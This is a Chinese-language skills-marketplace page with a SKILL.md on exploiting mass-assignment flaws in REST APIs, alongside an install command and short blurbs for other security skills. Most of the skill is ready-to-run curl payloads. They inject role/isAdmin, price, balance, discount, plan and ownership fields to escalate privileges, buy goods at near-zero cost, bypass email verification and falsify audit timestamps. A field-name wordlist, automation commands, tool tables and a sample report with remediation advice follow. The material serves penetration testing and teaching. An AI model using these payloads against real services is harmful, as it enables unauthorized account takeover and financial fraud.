用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt;运行前请先检查来源。
npx skills add https://github.com/killvxk/cybersecurity-skills-zh --skill exploiting-mass-assignment-in-rest-apis命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地?可下载 SkillsMP 当前能够提供的文件。
通过分析 Zeek dns.log 中的高熵子域名查询、超量查询量、超长查询长度以及异常 DNS 记录类型,检测 DNS 隧道和数据外泄中的隐蔽通道通信。适用于:当需要狩猎基于 DNS 的 C2 或数据外泄通道、调查异常 DNS 查询模式、或响应涉及 DNS 隧道工具(iodine、dnscat2、DNSExfiltrator)的威胁情报时使用。
实施 Google 的 BeyondCorp 零信任访问模型,通过 IAP、Access Context Manager 和 Chrome Enterprise Premium,消除网络边界的隐式信任,强制执行基于身份的访问控制,实现无 VPN 的安全应用访问。适用于将传统 VPN 替换为零信任架构、部署 Identity-Aware Proxy、配置设备信任策略、或为远程办公实施上下文感知访问控制时使用。
在授权的安全评估过程中,使用 Burp Suite 的扫描器、Intruder 和 Repeater 工具识别和验证跨站脚本(XSS)漏洞。适用于 Web 应用渗透测试中检测反射型、存储型和 DOM 型 XSS,验证自动化扫描器报告的 XSS 发现,以及评估 CSP 和 XSS 过滤器的有效性时使用。
基于 SOC 职业分类
正在显示 SKILL.md
| name | exploiting-mass-assignment-in-rest-apis |
| description | 发现并利用 REST API 中的批量赋值漏洞,通过在 API 请求中注入意外参数来提升权限、修改受限字段并绕过授权控制。 |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | ["mass-assignment","api-security","privilege-escalation","rest-api","autobinding","parameter-injection","owasp-api"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
# 检查 API 响应以识别所有对象字段
curl -H "Authorization: Bearer USER_TOKEN" http://target.com/api/users/me | jq .
# 响应揭示字段:id、username、email、role、isAdmin、verified、balance
# 检查 API 文档中暴露的模式
curl http://target.com/api/docs
curl http://target.com/swagger.json
curl http://target.com/openapi.yaml
# 使用 Arjun 发现隐藏参数
arjun -u http://target.com/api/users/me -m JSON -H "Authorization: Bearer USER_TOKEN"
# 比较创建/更新请求体与响应体
# 响应可能包含比请求发送更多的字段
# 这些额外字段是批量赋值候选者
# 在个人资料更新中注入角色/管理员字段
curl -X PUT http://target.com/api/users/me \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"username":"testuser","email":"test@test.com","role":"admin"}'
# 尝试常见管理员字段名
curl -X PATCH http://target.com/api/users/me \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"isAdmin":true}'
curl -X PATCH http://target.com/api/users/me \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"is_admin":true,"admin":true,"role":"superadmin","user_type":"admin","privilege_level":99}'
# 在注册期间测试
curl -X POST http://target.com/api/register \
-H "Content-Type: application/json" \
-d '{"username":"newadmin","password":"pass123","email":"admin@evil.com","role":"admin","isAdmin":true}'
# 修改价格或余额字段
curl -X POST http://target.com/api/orders \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"product_id":1,"quantity":1,"price":0.01}'
# 修改账户余额
curl -X PATCH http://target.com/api/wallet \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"balance":999999}'
# 修改折扣或优惠券字段
curl -X POST http://target.com/api/checkout \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"cart_id":123,"discount_percent":100,"coupon_code":"NONE"}'
# 修改订阅级别
curl -X PATCH http://target.com/api/subscription \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"plan":"enterprise","price":0}'
# 绕过电子邮件验证
curl -X PATCH http://target.com/api/users/me \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"email_verified":true,"verified":true,"active":true}'
# 修改账户状态
curl -X PATCH http://target.com/api/users/me \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"status":"active","banned":false,"suspended":false}'
# 修改所有权/组织
curl -X PATCH http://target.com/api/users/me \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"organization_id":"target-org-uuid","team_id":"admin-team"}'
# 更改资源所有权
curl -X PATCH http://target.com/api/documents/123 \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"owner_id":"admin-user-id"}'
# 分配到不同组/团队
curl -X PATCH http://target.com/api/projects/456 \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"team_id":"privileged-team","access_level":"write"}'
# 修改 created_at/updated_at 以操纵审计日志
curl -X PATCH http://target.com/api/entries/789 \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"created_at":"2020-01-01","created_by":"other-user-id"}'
# 使用 Burp Intruder 配合字段名字典
# 常见批量赋值字段字典:
# role、admin、isAdmin、is_admin、user_type、privilege、level
# verified、email_verified、active、banned、suspended
# balance、credits、price、discount、plan、tier
# owner_id、organization_id、team_id、group_id
# Python 自动化脚本
python3 mass_assignment_tester.py \
--url http://target.com/api/users/me \
--method PATCH \
--token "Bearer USER_TOKEN" \
--fields-file mass_assignment_fields.txt
# Nuclei 批量赋值模板
echo "http://target.com" | nuclei -t http/vulnerabilities/generic/mass-assignment.yaml
| 概念 | 定义 |
|---|---|
| 批量赋值(Mass Assignment) | ORM 将请求参数自动绑定到模型属性而不加限制 |
| 自动绑定(Autobinding) | 将 HTTP 参数直接映射到对象属性的框架功能 |
| 允许列表(Allowlist) | 用于更新操作的服务器端允许字段列表(Rails 中的 strong_parameters) |
| 拒绝列表(Denylist) | 禁止字段列表(不如允许列表方法安全) |
| 隐藏字段(Hidden Fields) | 服务器管理的字段(role、balance),不在表单中显示但被 API 接受 |
| DTO(数据传输对象) | 使用单独对象分离输入和数据库以防止批量赋值的模式 |
| 参数污染(Parameter Pollution) | 在合法参数旁边发送意外的额外参数 |
| 工具 | 用途 |
|---|---|
| Burp Suite | API 请求拦截和参数注入 |
| Postman | API 测试和基于集合的批量赋值测试 |
| Arjun | API 端点的隐藏参数发现工具 |
| param-miner | 用于发现隐藏参数的 Burp 扩展 |
| OWASP ZAP | 带参数注入的自动化 API 扫描 |
| swagger-codegen | 从 OpenAPI 规范生成用于测试的 API 客户端 |
"role":"admin" 或 "isAdmin":true 以获取管理员访问权限price 或 discount 字段以较低价格购买商品email_verified:true 以绕过验证要求email 或 phone 字段修改为攻击者控制的值,然后触发密码重置plan:"enterprise" 以无需付款获取高级功能## 批量赋值漏洞报告
- **目标**: http://target.com/api/users/me
- **方法**: PATCH
- **框架**: Ruby on Rails(通过 X-Powered-By 检测)
### 发现
| # | 端点 | 注入字段 | 原始值 | 修改值 | 影响 |
|---|----------|---------------|----------|----------|--------|
| 1 | PATCH /api/users/me | role | "user" | "admin" | 权限提升 |
| 2 | POST /api/orders | price | 99.99 | 0.01 | 财务损失 |
| 3 | PATCH /api/users/me | email_verified | false | true | 验证绕过 |
### 修复建议
- 为所有模型更新操作实施允许列表(strong_parameters)
- 使用 DTO/ViewModel 将 API 输入与数据库模型解耦
- 对敏感属性应用字段级授权检查
- 记录并警报尝试修改受限字段的行为